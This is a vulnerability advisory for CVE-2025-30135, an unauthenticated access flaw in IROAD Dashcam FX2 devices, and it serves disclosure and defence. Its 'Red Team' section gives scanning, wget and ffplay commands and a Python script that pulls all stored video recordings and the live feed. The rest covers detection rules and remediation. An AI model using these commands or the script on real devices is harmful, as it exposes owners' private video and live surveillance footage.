CVE-2025-30135

Executive Summary

CVE-2025-30135 exposes a critical authentication bypass vulnerability in IROAD Dashcam FX2 devices. The HTTP and RTSP interfaces lack any authentication controls, allowing an unauthenticated attacker on the same network to download all stored video recordings via HTTP and view live footage via RTSP. This poses a severe privacy and surveillance risk, as an attacker can silently exfiltrate sensitive video data without any credentials. The vulnerability is trivial to exploit and has a public proof-of-concept (PoC) available. No patch has been released by the vendor at the time of analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable over the local network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
• Confidentiality (C): High (H) – All recorded video data is exposed.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High) – The vulnerability allows complete compromise of video confidentiality with minimal effort.

Deep Dive & Mechanics

The IROAD Dashcam FX2 exposes two unauthenticated services:

1. HTTP Interface (port 80): The web server serves files from the SD card without any access control. The path /mnt/extsd/event/ contains all recorded video events. An attacker can simply navigate to http://<device-ip>/mnt/extsd/event/ and download any .mp4 or .ts file.

2. RTSP Interface (port 8554): The Real-Time Streaming Protocol server is configured without authentication. An attacker can connect to rtsp://<device-ip>:8554/ and view the live camera feed in real time.

The root cause is the absence of any authentication middleware or access control lists (ACLs) on these endpoints. The device likely runs a minimal embedded Linux system with a custom web server that does not enforce any credential checks.

Vulnerable vs. Patched Code

No patched firmware is available. The vulnerable code is the web server configuration that allows unrestricted access to the filesystem path /mnt/extsd/event/. A patched version would require:

• Adding HTTP Basic Authentication or token-based authentication for all HTTP endpoints.
• Implementing RTSP authentication (e.g., Digest authentication) for the RTSP stream.
• Restricting access to the /mnt/extsd/ directory to authenticated users only.

Since no patch exists, the vulnerable code is the entire firmware of the IROAD Dashcam FX2.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• IROAD Dashcam FX2 device on the same network.
• Attacker machine with curl, VLC, or any HTTP/RTSP client.

Steps:

1. Discover the device: Use Nmap to scan for the device.

   nmap -p 80,8554 192.168.10.0/24
   

2. Download all recorded videos:

   wget -r -np -nH --cut-dirs=3 http://192.168.10.1/mnt/extsd/event/
   

3. View live RTSP stream:

   ffplay rtsp://192.168.10.1:8554/
   

Automated Exploit Script (Python):

import requests
import os

device_ip = "192.168.10.1"
base_url = f"http://{device_ip}/mnt/extsd/event/"

def download_all_videos():
    response = requests.get(base_url)
    if response.status_code == 200:
        # Parse directory listing (simplified)
        for line in response.text.split('\n'):
            if '.mp4' in line or '.ts' in line:
                filename = line.split('>')[1].split('<')[0]
                file_url = base_url + filename
                with open(filename, 'wb') as f:
                    f.write(requests.get(file_url).content)
                print(f"Downloaded: {filename}")

download_all_videos()

Blue Team (Detection & Response)

Detection Steps:

• Monitor for HTTP GET requests to /mnt/extsd/event/ from unknown IPs.
• Monitor for RTSP DESCRIBE or SETUP requests to port 8554 from unknown IPs.
• Alert on multiple file downloads from the device in a short time window.

Honeypot / Deception:

• Deploy a fake IROAD device on the network that logs all connection attempts.
• Use a decoy SD card with fake video files to detect exfiltration.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_30135_IROAD_HTTP_Exfil {
    meta:
        description = "Detects HTTP requests to IROAD Dashcam FX2 video directory"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30135"
    strings:
        $s1 = "/mnt/extsd/event/" ascii wide nocase
        $s2 = ".mp4" ascii wide nocase
        $s3 = ".ts" ascii wide nocase
    condition:
        any of ($s1) and any of ($s2, $s3)
}

Sigma Rule

title: IROAD Dashcam FX2 Unauthenticated Video Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to the IROAD Dashcam FX2 video directory
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30135
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/mnt/extsd/event/'
    condition: selection
falsepositives:
    - Legitimate admin access (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET 80 (msg:"CVE-2025-30135 IROAD Dashcam FX2 Unauthenticated Video Access"; flow:to_server; content:"GET"; http_method; content:"/mnt/extsd/event/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert rtsp any any -> $HOME_NET 8554 (msg:"CVE-2025-30135 IROAD Dashcam FX2 Unauthenticated RTSP Access"; flow:to_server; content:"DESCRIBE"; rtsp_method; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the dashcam on a separate VLAN with no internet access.
2. Disable unnecessary services: If possible, disable the HTTP and RTSP interfaces via the device settings.
3. Network segmentation: Block inbound connections to ports 80 and 8554 from untrusted networks using firewall rules.
4. Monitor logs: Enable logging on the network and monitor for the IOCs listed above.

Long-Term Fix:

• Contact IROAD support and request a firmware update that implements authentication.
• If no patch is available, consider replacing the device with a more secure alternative.

Workaround:

• Use a reverse proxy with authentication (e.g., nginx with HTTP Basic Auth) in front of the device, but this may break RTSP functionality.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert